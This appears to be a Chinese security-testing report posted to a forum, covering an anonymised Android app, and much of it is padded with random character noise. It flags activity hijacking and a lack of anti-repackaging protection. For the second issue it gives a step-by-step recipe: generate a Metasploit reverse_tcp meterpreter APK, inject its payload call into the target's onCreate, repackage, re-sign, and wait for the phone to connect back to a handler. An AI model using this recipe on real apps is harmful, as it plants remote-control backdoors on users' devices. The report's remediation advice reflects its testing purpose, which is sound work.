2 O1 r+ S8 M2 |6 n3 S 1 H' g, m1 X0 F$ w   ! Y& G$ N# k! Q& v 6 c& F) A5 A$ ]5 | s2 V8 I' W

( p1 k, \/ K' O Z, B6 _ 6 S+ ^3 Z3 {7 v3 y/ H

; h* b; c5 L- d1 W0 A: T * o g2 [4 R% y 1-2 测试结果 8 P _: L5 q# ?7 M8 d) r n8 y+ X @+ h0 y+ M: }

& m1 B+ {. G- y9 {7 r. h9 Y. V; q/ b* T6 [- i# L9 C e

/ Y5 L* \7 z- N/ c5 w9 O; x' U ! n! }4 @) s/ _! ]' E4 y   ) E6 m% y4 @4 E; X8 T + u6 @+ t* v( Y

* z# ^ D. U0 X- ^9 ~! T G& q 8 O/ I7 j- f y, l5 M. ^. ~

0 k6 ?( i/ ~/ u$ L+ W' Q # J& D3 u+ C# Q$ X" x9 Z 2 检测结果                    6 y) A. p; t, M* L 0 H. u f" A$ c. d- F3 g

/ ?1 |! H! c0 E i5 W1 Q& X' |$ [# Q6 p" ^1 m

$ l W2 K, k8 P; s6 G$ k _0 f1 B& c% ~0 x 2.1 某某某 7 E1 N' C7 [1 l. g' t6 B* V( p/ V: h2 V) S# U+ D! |" ^

f# B& I& w& L/ Q. ^$ G2 Y1 w0 [4 Z/ F! n( A

' q6 u$ _, h/ J S9 E0 ?0 k( q . o3 z" j% s) g! D8 o 2.1.1检测目标 3 N, x1 r4 D0 ]! x ; W- K6 l6 {+ i. q5 x1 _/ X

+ |1 x+ s5 u: w- b: y4 X/ a2 e : }' D, b/ c E* m' {! w0 ^" m+ V

. N0 I! F# E/ N1 y4 S6 i , P5 R) f0 s8 y, o7 | 目标地址: 某某某某某某APP & L, C+ u C; h F- o8 c- h( P $ w( l9 I& W7 b; O# @

& m* N. i; _. R9 v3 ?% x, L3 k0 }/ o( ]2 u! ^( c

9 f, c& _- o* g4 U0 I6 d; r& D; H w) x , u6 ^ h. x- _$ z% X Z2 p. [9 f: q. w 2.1.2检测结果 / f. Z# |4 P5 t. K- N1 u$ e % P6 D( k9 y( {& E& @6 W! Q9 \

! ]- E$ z$ }% s: u" u0 r ! a- f' Y! n4 F2 ?# }) B8 U

0 j8 H4 y4 a6 m) z; y9 i, R8 R ) D& t9 @" u' g4 x 2.1.2.1 * Q2 a+ T2 _% _+ {5 F7 m6 K; `& T d, f) i' K1 O, B. }5 d- h

) y; }( y; S( L) l) r2 k7 m6 m& @, ~ 5 S6 T0 z8 w' }+ o9 n, o

5 Y, O7 i; i: X+ n3 ?& z- @ . j+ |7 T9 g, f; t G 漏洞链接地址:某某某某某某APP 3 C9 r, N" w6 ^: f8 H% y4 c / {; r) g7 ~# D6 f2 C* S- k

/ E& p4 ^. A. A5 V 3 L4 w: W3 M4 H. X3 O8 B

* I: N8 x. k- g0 g0 h2 C; R: p# s/ e+ Y& Z" c4 M* t6 H. O   ( i* J1 l- ~6 C, _& ~- A; ~ / R- i w$ }! P

6 D: x, ~. c1 [" M3 O 9 @ b! e% B+ X: Q) _6 |8 H

' p; Q0 V- p/ |! l! g9 l" A 5 e* U3 J% \0 q7 ^( K; h 漏洞分析及取证: 1 i9 G7 q- T5 l6 O( k8 K ( G1 |; {* I, M, l2 b

7 V5 u/ ]6 q# O- X# w) R: m 9 q+ N7 t2 e. ^ d2 K: d' e" x

o4 S9 @3 r, G: E1 e; d2 q; T3 D8 z& d( L                  通过androidkiiler反编译,发现app未进行安全加固, Activity com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: # k! C3 h) e! G % t6 ]) b8 x5 R3 t/ @' |

% j8 o+ U9 ]- C; }. Y % \$ Q+ \, `7 L8 T

: a4 n( ~$ T& B 0 N! t7 N( X/ Y& q      % \/ M$ k/ a% N6 X1 u3 l1 z+ z- l0 c6 J! c( R( u1 {

$ g6 @* A: _# z6 r; R ' w% s& E5 V5 {% j1 H% b

$ N6 ^3 Y$ C1 M0 h / j) L t; M) D, c3 g/ Q9 C/ q- b                       ) i" J% d/ {5 m T* g) F1 \: A- V7 ]

( X# K3 b8 Q q3 {4 T: _! D4 Q7 y: y6 t, u1 v. `0 c

: a4 D* J5 ]- V# ^9 r " Q1 A7 j, j7 b- t6 I" @ + I) q! J: L; A $ o9 Q8 F$ r1 }- x( ^* z0 |

4 q& t6 Y; _, E( q! p. I6 n ; i( A( }* Q1 _6 v6 F9 q# L, ^! i8 r

! p! |0 G2 X5 m# L; x9 S+ K' i 9 ~$ u2 n' G I# S4 \2 o& O( d3 s & |0 p3 T5 T6 g" ~ / ^* o) n% ~# ]5 y3 { Z

% r1 V9 E- ?, S9 u8 n) W' B) b : C8 H0 ]3 k" G' Q7 G

* P0 ]8 k+ @$ a5 t 2 n' s) w) h0 ]5 G5 U1 K+ h / p7 P. A2 G8 [+ h% ^ ( H9 i& ^% j- e2 m

$ H0 B7 O7 v* B. ^1 C2 _ 6 K2 H' N, @. d, [

% b! G: w. b' h6 M 7 I) }3 `, C5 j0 A5 z 漏洞危害:高 8 @& @6 q, u& ~" u/ E9 [ E; J$ i! \2 y6 d/ S) V+ ^

, {7 c7 }5 F. g3 w5 P+ I9 i $ D8 Q4 `2 ?. N: r% W. R5 c1 R
& p3 B( d, E/ n! W0 r) o$ L9 _9 ?- f- U& T+ R: N1 [ 7 V7 I) ^7 S7 C+ t" C7 Y4 `* f/ a% \' t, J2 u, a3 p3 S: E" k7 t5 f- d# n2 F; ~6 V7 h! a- B- p) n' e2 T Q8 \8 v) c- ^) {, [3 O) [+ R% p9 e/ [4 U- R4 z7 l- M7 e ?4 b0 E' ^! h S+ y6 x; z: u7 E' p$ u `5 P1 E3 m, m% F7 b, z" W- L8 @# z; K8 P! |0 i6 O3 ], w9 g7 R; v3 D9 z; r8 f' T" Z; y' ?0 U3 r0 u8 c) d4 M' O" r5 s& l( v! V2 ^) _4 h( r8 H+ d# t, P( s4 B. l- F( Z( t+ [/ h3 Z6 K! j0 J! b4 F* y; v: b6 }/ }0 x1 X+ [1 I/ U4 U5 `( t2 [8 F! S" T8 z! p# d( P! n# n" [: ^7 A) B0 l! h, l2 m7 N5 Y! W e+ [7 ]4 y V3 m2 Y: p, V( I1 S5 [- [8 y5 k7 h( S6 y- J8 x' c4 |# s6 X+ x# m7 N& w: A ?! x; r G+ I( w( G( ~& ^5 y. X4 C3 R
1 v( N$ I8 A/ g, q. \! o; T- _ 4 @3 `% ~ g4 Q2 X1 Z1 H ~

M: l% Q ]; J& x h7 H& b 6 W8 R8 i+ r; E: R h) c 严重程度 $ K4 P4 B7 w& L9 d/ Y! ]3 _' L 2 C/ g9 J& b* \$ U$ a9 a. h+ S+ t1 r. N V% \

5 y3 @. P; k. C F! O7 e9 Y1 T! K a% i+ K
5 ?, t: w) K: {! f# S5 u $ J: Q. g' L" V% A$ c$ F

$ [0 ?+ G5 R- Q1 w4 W: N p/ u/ _5 Y- H8 A; c- Q! ?# T 3 ?8 b7 G9 b, [* w6 E/ Y ) x. q& O$ f$ W

# K. \8 m' Y$ |& z3 Q6 f3 q( E9 J/ L. w1 k* a3 s, T
$ K I5 n' t# ?1 p6 U& ^' I Y. J6 X) `/ W/ K8 |2 J

9 m2 ~+ O' ~7 {$ M" w. L, y' w * k" }% [7 o6 r; b8 r0 P0 H& a0 j 6 |9 X9 l _5 k) L1 z. H ~ y: Q& t3 ~/ z$ ]) A

' Y5 l! f. T) t* N& _4 b" A 7 E2 k6 ~5 {$ b* M! r& ]
( i0 F2 s. l% e1 x8 ^ 4 M4 T; _" i; P& l$ x9 q

" X& l7 j% W# g$ ^" a# E / Y$ \8 H) D7 {5 g9 a$ ~8 d/ c ) F [9 i1 _* n2 } : t% `) @0 |, f# s* v1 ?* Z

& L" q- q4 `4 Z4 h& S& t. G7 P; p( L3 ]% `$ `& p, N. o
1 N* [4 I9 J: `: ^& f & |: Y0 P* E3 {: G3 K0 c

5 f- e, [& {/ }; j( s0 X8 _$ _ o% d6 x7 U   * N5 W1 Q6 j b1 }: C, f* w 9 c& g) b/ [' G! Z \. o. T. i

: K* r- c+ ~; Q' K) a6 d( M2 \. W
# a) I" d, w2 D2 X+ [5 g9 }3 s/ H: g( x& Q. |9 D

. Q$ @- c6 b8 U1 s ' H% L& Y( j! e. W! F D- Y# M ! f F, i& K) j - F, E3 `/ ~. W4 z, V! g

' g W1 ~' w0 @ , k4 g7 H' d/ I( W( \ R8 [
1 p* J+ Q3 _4 K- R/ R/ x, ^7 B* i . W& X* w- o" x

2 u; U0 J( H; E6 w% s; `3 ?. W7 L, } R. k$ `% {& @# V: m2 b2 Q; v5 z   |* w# u9 D4 `+ P ! x8 B1 E o8 E5 N9 j6 I

' B' p9 g3 e; R) h( ] 4 H; n F4 ]+ t
' t: C: i% M) A4 z6 }' X+ j: I2 C% B3 d- D
7 ^# A: L* [) f" a: G . P( q% E3 K. T# p+ I w

) S4 g5 t* D. R+ B% X! E* _7 K+ `& E, V& b   ' O8 e! }0 u, P) J/ D; z; W 0 ^4 N+ v! q/ n+ e+ m3 i; w2 C

; r/ |$ B. U0 M3 V. s4 r. Q , ?$ ~$ p5 r8 [) z% l! A& F& \* n5 V

( L& |4 X) g; A# @ % P% f4 t6 ]7 v' G6 v% Z 修复方法:在 APP Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 : ~# R/ w4 q( a: z . W0 k! F: D3 L+ b+ I

% Q' ], \5 _# g- K' i ; t# U* L0 k* J9 Z* i% |3 j" [

. o0 C+ p6 M: `2 p9 {' |" H+ c 7 N% P* _5 W8 O- N4 a% A8 J           ( _: b( ~- f7 Y9 w & B6 a& L$ g- h" D( p L y

" N; L% p" f" Y l* N) b8 A+ k/ {1 Q" `: _* i5 V" r# W0 E5 j

2 m ~9 S0 D* D: o1 @- ^ 6 C2 x0 D. x9 |2 A   , |$ v; k- p$ O' u9 Q `( _6 o/ S& m

7 q( @, l; N4 a8 x( u " w2 U5 o1 h7 `

: d, U9 L% h8 g$ m5 t1 W / Z+ o$ K. G& }: t# e2 s8 f 2.1.2.2 6 z) j; g u5 B4 w6 @( }' R6 m 6 H# H2 S" I+ H, d2 X: |6 N

" O5 O! E' r a. Y& V& R: d1 L1 U5 m9 C6 q( R

) X! q; a/ X0 Q$ S9 \ G ( u0 x& ?0 N% d2 L1 b 漏洞链接地址:某某某某某某APP 1 J1 t# O4 p$ @- j1 N* ]2 n; b4 ?7 S- w9 D, I7 j

' n# g" O2 T7 Q9 t& T7 T y- \ ' h5 l, g- L2 l2 v% w. v+ ?

0 `, V: g6 `6 E7 ]; }9 n7 z7 Z3 } $ L4 i8 |3 |! s 漏洞分析及取证: 9 l& v. R9 `- ]! B* h' t5 o 7 K/ y2 J, h M+ L4 v

& a8 e6 ~, b: T! m) x0 L) D6 r6 |% C2 u2 m M

- g3 s# S* V, n& b4 {% G% K4 c5 f% o m8 a6 v                  通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: Q! S4 o) N2 q' R0 d/ L6 C3 e" K: Q 0 R* ^8 D! Q h( L+ }

1 e' j* ]8 I4 A- {8 y3 m # B2 a) z* U2 Y( ^1 J

8 q) c) q; T9 g& {0 r& J& T9 x+ i6 X8 H & T0 p/ C! n/ \" ? Metasploit 生成木马 apk 4 i5 `1 Q7 I) j; h 3 u5 M4 r" w& X( U# G

D; N+ @4 E, s4 E( X J) {9 r* O3 Z/ ^% W' [% W! ]( i

g. x8 }& ]$ ^6 S ' s" K4 H7 s2 I% I7 S9 Z- w2 S msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk # s- u5 @ V/ [& L7 u' d e & z: n) X T0 N i6 i

! A. _0 n2 g, x7 s2 g( k. ~ : d/ v% R0 t' T1 j2 `- n

0 X+ c: [# X, P# K t: H0 A0 J) o! ?3 f 反编译目标apk和木马apk 1 n! p5 V( U, }0 S4 Y T * h7 S7 M( s' d

# N. I% e; g `$ I9 F 9 p& m7 C/ l5 m4 w2 N

1 b, i w- ~; x) f1 G 4 r! y% y3 {4 i9 F! o apktool d target.apk
& q# `8 t( S9 h; @! b- _# O: \ 8 c* C) M" L5 P; Z, B apktool d cockhorse.apk
6 V5 S5 @9 X7 h1 N, I " n" k: W- O/ h+ a# i+ k1 S

; n! z) \ s% l% b$ \# s* W 0 c& c2 V0 ^$ C0 \

6 P) X1 b+ H& ~* j) ~ 6 M, f' | Z% T9 I6 ~6 j, v 木马 apk 注入目标 apk . s) V6 m3 ]/ ]( v: C: H0 Q. L . \8 ~: C/ Y3 ]' a8 ^$ |

; I ]3 V& e2 s+ t" I( I8 x8 @4 m% B# o) ?

3 J; r0 N- d/ X8 J" i 0 P9 a+ t$ s# b5 V, r' }9 L 在目标 apk 反编译生成的文件中找到启动 Activity smali 文件,并在 onCreate()方法中添加如下代码:
! z6 d* o5 `' [& c3 b+ t: H1 c! I; ]* {# z, t# M( u invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
7 e+ u) f8 p2 [7 a3 v ; Y8 i* e0 S& g; X+ i& t+ i- z

: Z1 U/ r& X a. q" A/ M ' S( Z, J+ d" T8 Z& G

' B. N& k$ r3 E9 r4 p # N! @! P7 P0 m1 f 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 4 Q; @7 F, w1 K 2 V8 x% f) X+ b8 f5 G* H

) P( u8 M3 D" e6 X t $ c v! m0 X1 d( I4 F

6 ?# C2 R& j: X1 O& W3 z' }: v4 T/ I/ U7 [! ` 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ " x+ K4 O% W& k3 ~) }3 `; U% t$ D5 s4 i4 T

% ^ M" D, W2 F7 A: C x $ K7 M% i L6 L% g

: r6 m$ b7 ~" R; k7 o ) z* f2 w5 R' t: N' r 回编译生成最终 apk + l7 q0 s o, P , X5 C# s; x B' m6 @0 ]+ ]

1 h( |% j! [8 m e$ D 3 e* k5 I6 [1 `% c' ?

% h7 C; @1 Z; d. @' V. H: Z 7 s; H& n6 ~6 ^% Z 重新打包 - @; s. J# l7 i 6 F$ V; ]$ `5 T% c" L$ }3 V7 {9 w$ z$ g4 N

* ~- D) a7 F% c% j ) P8 ] `1 t; O4 m; |

! d- u7 s- z; O- Y2 x }" B ! R6 w: d( P$ V( o4 c4 _' P apktool b -o repackage.apk target_app_floder 7 y7 p) k3 h6 [& z9 e1 { $ L1 B* A. l1 b) C+ _, z) t, `7 j$ C

7 J1 @& |& ?# ^8 F6 c v ; T( w# Y& }0 h, A& I- q3 x

7 q; L+ Y- Y/ ?& o3 p " j! \' v* u1 Q* J8 z7 B: m 创建签名文件,有的话可忽略此步骤 : Y p0 b6 B7 S3 Q$ f' O' f8 g- m) l- i& q

1 |4 W9 ^9 H4 y, b) p . D4 h) d7 c6 x4 S

6 } `- n6 i1 G5 D - S" `# x6 B8 p0 _$ w" W keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                ) l; L$ S b$ t0 y# B- h: W& A & b! d0 p7 [% m* o2 J

% N( h. ?/ B0 j; j7 X3 a; X Y% w1 ^, C4 S) [' [# x) i0 c

" E7 d" o* R, d# |& N+ m . E- g5 T$ `+ x0 x# x2 m7 r 签名,以下任选其一 7 X5 P8 i+ A* _1 u9 D% z 7 s- S0 n& }( e/ H/ Q9 ^2 k- |% q

6 K3 f; `9 J/ q, Q1 e" v+ @+ p8 z 5 {% a$ `! m' z/ K

% E. m) t% O( i) _0 K) R; M( A * s7 r# s" L! J jarsigner 方式 $ u! ]! n3 t. Z) d5 T9 [- J& \+ d# v2 i" L6 {" [

! K% ?8 ]" r% @ - D7 S+ G4 B; \# U! v! r, b

, @, a) L- {% W 1 C* \& x! S6 `% _ jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 3 t W( H9 x9 B, ` 1 L/ g8 G+ r- S7 G9 r

* u/ \" r% s* y' N ) p% f% q) M' O# V

! Q ~# G+ ?' e& G; { . q: G" X7 b3 E4 L$ ]- L- D& v- C apksigner 方式 2 N% o5 d. O/ U, Y! }" T( E* C) c+ Y- ^ a( T# @# B4 ^. d7 g

3 i8 Q0 F! W0 H5 z/ }; o: @' U4 J( [ ' P) g2 q/ w8 C3 O* u8 i M

( o! u* r' O" j8 f0 B$ s/ z 2 G9 v# _' {' l* m; t9 a apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 9 t4 p9 t4 H7 j& Y# O 6 J' W* ?) R: P0 M! z4 u3 h" I

4 M9 G" A- K7 V. ` ^" s6 D6 ?1 N- H; p

( I8 E- g/ T0 s4 x1 m9 d6 f1 w) ^+ E, `: ^! W6 m 如需要禁用 v2签名 添加选项--v2-signing-enabled false ; G A6 S+ C$ \9 B1 n8 N3 B, ^1 }6 J" W) H' b0 G* ?

5 z3 L3 F! R2 u$ Q& d! l& ^9 w 3 T+ t0 d0 k: L. K

2 M6 L! n) [ |, O6 |4 B2 @% h3 l ! h% [: ^+ A7 h' A s6 C( ~. H5 d 验证,以下任选其一 n* |0 |# V0 r4 [4 G1 N! K! @ / D' b" `2 J4 ]# @( D# g* i6 p

' W: b9 `% X3 T5 J, `, G: y0 g. k+ H! S) S

+ L( h( K! f: i( g1 q2 l2 r& F & V8 [% n9 y) k3 q% k2 |8 }5 C jarsigner方式 3 N4 q& f& ~/ J( Y, u; H T) {7 L* u

0 B5 [7 l' C# Z- B" e2 r- k# _ |( c3 R

6 z2 Q9 q; Z6 L; s# G : u- p, t+ y2 R7 x- f jarsigner -verify repackaged.apk 6 G7 ^" \2 P0 T, Z9 y' { $ N- Y. i8 d" v% v

! f$ ?9 Z: J+ T Y8 d; u& H7 f: d- g) Q) C# G6 a3 k

b7 D/ V2 a9 ^! j; z6 ^7 _2 ^0 T apksigner 方式 : K% \: N, @9 X/ n) ? - j; ~$ }& J; d# Y

; \& ?" `3 @, \) @+ x7 y 5 r! r, H6 Y; c

) u; y) S# k! w. n4 {6 _2 e 6 T" Q. e( g/ C' z apksigner verify -v --print-certs repackaged.apk k) h* r& u. W8 I1 E5 q7 H3 z9 }8 t! E* M) G

) C" p- u$ ^8 Z1 v* R+ J1 z* s& e I- L6 E: H! p. q |+ c

& `! B H) T, k- f7 Y0 H. ~, f" \/ E( _! R keytool方式 9 H9 i7 Y% x* x$ ]7 g7 H ]& o0 j- T% W# R3 l) @" y# E

9 b; W7 ~/ w! _! u* V& U' K# E ) u r2 g# [7 D

. X# n) f6 [* b, a0 V$ g( ^0 O& y' }- H, u2 z+ { keytool -printcert -jarfile repackaged.apk $ L& r1 ?1 H, L( V1 ^ & K! b- c- y2 e" b* _

i8 N9 J' E8 J# G* b( W # Z6 b; b/ G- x1 z" K) o" X7 m

- D ?5 A3 K% g/ N# n; b& K ; c) {' C, N( ` D5 P 对齐 % [# X1 z+ i' z3 { ) {) e, B: P' q' `) [* A

: M$ W2 B& ?( F1 p' m9 a! j1 H4 k; y5 C( G; r& V6 w0 z

9 T1 p4 b1 o4 u/ g: `! K $ }+ Q( O9 K9 P7 \! I" g 字节对齐优化 8 O: K+ A# o3 v 5 ~1 [& O( H* J2 l6 \' a/ |

( L4 C9 n8 K1 U0 @9 p+ I3 A) K! K1 a$ P- U3 U

; ~3 E" q3 U2 x* w; {( h0 Z5 Z# u2 C) J% V7 B$ S' r: [ zipalign -v 4 repackaged.apk final.apk 2 Q# ^& Q" [& E& H: D ' N1 u6 Q# I7 n( F" s U; t

% ^/ K O+ h+ R$ o0 z8 K! d- c- ?/ }7 Z3 q& s5 Q* q4 n, |9 o/ z! C: R

$ r4 r( h$ r' F& @/ s9 K# {1 Q2 V4 k 检查是否对齐 6 a7 z; v K+ K" Y9 c. z1 r ) f% |" ]3 m2 D" ^6 C4 S d

0 L$ A+ q3 K/ v+ B2 } E! @& ^+ p* u! N

/ y0 O" u2 b+ O6 p& ?& t- J# M: G; ~0 I1 _) @: e1 I% Y0 Q zipalign -c -v 4 final.apk & ?1 L* W, j; q) G& @ } ( K# R% x5 W0 I) f/ [/ K/ S& Y* W

+ e3 S; ~8 q+ F+ m7 M1 E4 O8 u1 S3 q

1 |- ^- Y- f/ ]; `" _* ] 1 s' \: U0 { m 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 ( k& ]. V0 \8 C/ ~# I5 `: h * G( Y4 a$ m' S

* C& V# H2 ^5 S+ n3 D8 {% P 4 s, l- Q; \9 ?+ ?' v$ e

5 m0 B" D$ ?4 m( Q3 E3 C 9 f& U3 s) k2 ^* }6 ]9 k* A9 l' H% u$ B! b 启动Metasploit控制台,配置参数等待上线 5 S) \; H) d/ M0 ]* y! l9 h 4 w" e" x) g1 ~5 E1 S

3 a, o. S2 {; w( z0 D % S/ U3 h, K6 _0 f8 I

+ o" r8 z5 s$ a+ j 6 y+ F/ k* R& a 在终端依次输入如下命令 / [- y) R& m! ^, Q; h% W $ S+ z1 F9 k+ D1 q1 p. B

- k* |0 y) _5 e* I 1 `. \( V1 U' z8 Q! I

# g' g8 M' O" v$ \9 V; U$ i7 s# C. B , `" |. F$ `" c; w! N, l msfconsole 2 z7 B, `8 D) x) Y9 ~9 U ) Z: Q, q' O4 u; O7 c2 t

& s1 q; C& _2 o2 s# I0 b; G6 ~+ f$ a 8 n2 J# x! @9 ]& y

' Z% T: f: k$ k$ N a% M " B. h* q8 Z% h- |+ p use exploit/multi/handler $ b) C$ x$ Z9 M9 Q( x% d. O3 [2 r' Y$ ^: u

: _7 j& \+ r" e$ l( G! Y3 S) B2 X6 L L% M" I A7 z$ N1 R

2 i* y4 p$ q6 {& A- a, K" |; a% s7 p set PAYLOAD android/meterpreter/reverse_tcp : [- [, a7 j( W 3 ~( q8 b2 _1 q( e. }% d: X

$ ~" r& Q5 L8 z. }/ Y# I; O/ k- d$ |0 v

- n4 T7 q! X5 ~/ Q& {6 z7 z , F P1 M: g; l# L3 a' N set LHOST 192.xxx.xx.xx ; u; u& H0 p' m }6 {7 o% w# i " [5 C# {3 j; G( f. x8 O( N

2 o8 [# H0 S% }4 V7 b) V 3 I2 p' Y: u3 `7 A

; v$ o/ V5 a9 W7 k! f ' w7 ~8 _# o6 [( r set LPORT 4444 s& L$ D4 L) P5 e: R( q- @ 1 I4 d- d. o2 {

8 ~8 M' ]1 J. x( H# ?. r - L: n6 e, F+ g+ ^" r

: v7 O# b+ Z: d$ H. N1 U$ a! _- w( r+ ^. l+ [8 ~7 i! v$ D6 i# ? exploit 3 l4 h& W! h: g% X: F" Q5 u4 w" b/ }: J$ z; B/ I/ q

2 {7 h5 O( @% N6 C. f9 s( ] 3 m" X `9 | @2 P/ J3 m% g! Z

4 ^8 O# C# ] M$ F' ?# K% T5 p : ^9 J0 i' @7 a1 P. i 之前我们把入口放在 MainActivity onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:               7 [: l/ i C$ x5 ]+ z 2 W# r7 N. T4 V8 e

: M i0 @( Q% K: h# T, ^! T5 q% b; F1 i# k S0 G

7 \( s9 d; }5 t8 Z ! N% Q/ }: k: o8 D 漏洞危害:中 4 X, ?8 \, g- ~6 i; d4 u3 }( c7 v' o5 u# T

1 L" D$ R- J) t , J/ }5 J& E4 R9 e) [* N
, W2 p4 a3 K( ^: b$ [2 q8 Y; _1 B8 N6 d1 { + @' [. a/ N* W7 ~ 1 j1 N: M; ^8 |% k; d ' O6 W: S2 R4 ` | \& N7 F M, W% m1 \7 T+ e( \( a' Z) v+ \- z+ S5 m( a5 K: K! d h$ D& Y4 o; k5 d/ F: Y5 `- P# a8 M8 G* g( ]$ x% X# g0 \5 ?" Y$ b" s6 }, d8 w! Z/ _; T1 N+ Z( j$ {1 j, b( R7 x/ k' O4 l1 D5 G, c/ x S4 {, o4 a* \1 D. H* v9 D0 o% w( _. Q3 v5 I, w& G" M2 @0 g, \# w- R# \9 J* h) W# H$ I$ Q1 N a8 F; n8 O. _: R) b$ R" C3 D: Y% W2 k a- {( a; a6 s! j* J7 W" _1 \, B8 ^& Z: D: b \+ y. @3 k8 m! [5 O, [( B r/ s" t' N4 U# |( Y9 H5 b, p- Q) i/ M& |) `( Q6 c/ [: m, M; n) y6 j5 v8 y- o& @- L% N- t6 T0 P0 \* d3 n% O0 p) r6 l U6 ^6 I
: @5 w9 c$ _/ [. ^( P * D) v \! Y! Q- {) i, {; n& Z* u

0 i# g% g& v2 h2 T7 q2 U" r 0 o; C9 y( J2 C: k" Y$ ] 严重程度 8 ?. P2 C; D) f- V3 Q: J0 f % G/ @$ o! R) ~# i* Q7 i" k

: u0 q9 d; B4 K/ k0 e : C/ O" V/ j* B: \
% f" h0 j( L7 n) k; a 4 T% A% N& j# D7 l. Y" @ `

; R3 e8 Y6 B) u, j+ {2 A ' f/ ~1 g) }3 E2 p( |! P# Y1 C8 o0 v' i 2 ]6 h1 [0 ~* b% Z( m, S & J- V4 h. k. A3 r% O- F

- q: i N9 k0 e# A& q, O g% T: R; f1 {8 u8 g1 c
( Z' W+ j. [7 t8 c4 p6 B 4 {; \ [( w s B' A# [

' p7 s& q2 U- o: Z1 x6 E- ]! w& Q; U+ ] 5 s- _( e2 e5 y5 o" k; d { ' V$ h% K) n; B

! [ g. |( {; }# K( d/ }2 N# D2 q! ^* {7 T/ a, }) h
2 N( ^8 y# x2 O# Z+ l8 n1 C* O, ^ : ^' w+ A' E; x% o% l

! B) @# u% D& W; T- G. K: M+ ~ 0 p! s/ W9 e- I7 Z 7 y" A. G9 u0 Z; x$ C 4 @. M. w" B2 z! g) E8 [- J! ~+ }

# W) z# w0 g& t+ ?4 c' m ) {1 L2 f: \+ i% R V3 q3 r
$ ^+ m' s, a+ U! L4 `5 y 8 s! A7 v8 o B1 { 3 ^& r/ @% n6 B$ O" C ) S# h! x3 w A% P; q

5 [3 E- E8 x2 @( ? 9 v8 n& u. b/ K$ ^( |. i   % `: p* W; `- Y$ Y : g' @, S/ O- }# h1 L, Q

) ]6 T9 u2 [$ H! h7 V! G6 A" c2 z# S+ i4 j9 j" g
% L" ~) N4 d, g5 G ! s% z9 n1 l0 _* M* i

8 y+ J3 c) M1 f, x( i 2 q8 i( c7 C) |* F: \ ; p' B1 b% Q6 q - [( @3 c8 \8 U/ z# m

$ F. v U6 e0 [* t0 ~: ~* f8 {5 l {; G, H, j9 Q7 I) H
) ]( j3 _/ I7 \; w5 S8 r2 t + C7 t9 S' {8 v9 ] 0 I+ d( i3 T/ ]: N/ \% n t9 U; K) v$ d+ t: b

. h. [( X% w, [, m9 S& i/ W9 k 8 N, h! u1 l" P- Z   8 p. B+ @ p1 C M6 [ D d1 } _ 9 r: i% s0 W$ i# @1 {

) ]! m% x: ?! R ( Z g/ m d7 Q
4 }* X6 ~5 B Z% L- g. j6 N . F8 T# Q+ p% J }
/ Y2 m3 _, [; ^1 i- D8 d" ?% \1 S' Y7 j* r& c' {, `6 d) V$ j

3 H+ Y! Y) n7 s3 G % ^6 p4 x) |5 T( ~; r/ O   & J# z( _1 q1 J2 d, m( o8 M$ k4 l 7 I9 A3 [6 e F

, ^7 ]1 y. c) O$ C! i* ~5 x) N0 R + p* I3 F2 C2 Y( {! G [

2 f) m* T. h# D& e: l5 D5 |9 Q " R0 p/ J$ T9 ?# q0 l 修复方法: 8 s% u& g |+ m# d2 _/ S4 {7 E1 @9 I" u6 E+ l

6 K8 A, S: p6 b* @: E % ] z( g: x" D

\) l# _; l6 U5 ?3 J1 [7 }" E ( d n* ]9 P6 [! S, K! b9 W' X               1. APP 启动时应做签名校验防止二次打包。
. @& t& k* R [3 ]* B j: i 2 f( c0 M7 S; B1 l: L. U8 e 2.
建议采用客户端、通信和服务器端联动防御方案进行安全防御。 + T5 u( _( n7 |0 F7 h g ! y. O. w' J+ m5 T

0 X: Q0 J3 b% `+ c % H4 |2 L* n( [# J* G- R7 [9 } ' {% `3 B9 j9 ] p 6 u9 F' h8 v8 E7 p$ q' @

1 `5 E: x6 d6 {; P* p; E& M! e+ U. i! U/ Q   j/ X- g$ X0 i* K' f8 N. T; `5 l, l% b+ ]

; q3 j. B( e/ i' _* s; T9 A 3 e- |# L- B9 Y9 Z 1 I) Z9 p9 [) ~! n 7 R: G7 h3 [5 F4 `

8 c$ }4 F& J7 _! S4 n7 n5 C) m/ ] * B* u% \% y' c% F& a5 g! a s+ t
7 d; N2 Z! y! a/ q) [' @4 _ ( j+ j8 P4 Q+ s9 ~ O" x% ~8 M

( r) P2 t$ c$ |0 B7 P - Y8 p5 ~; L) q0 B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表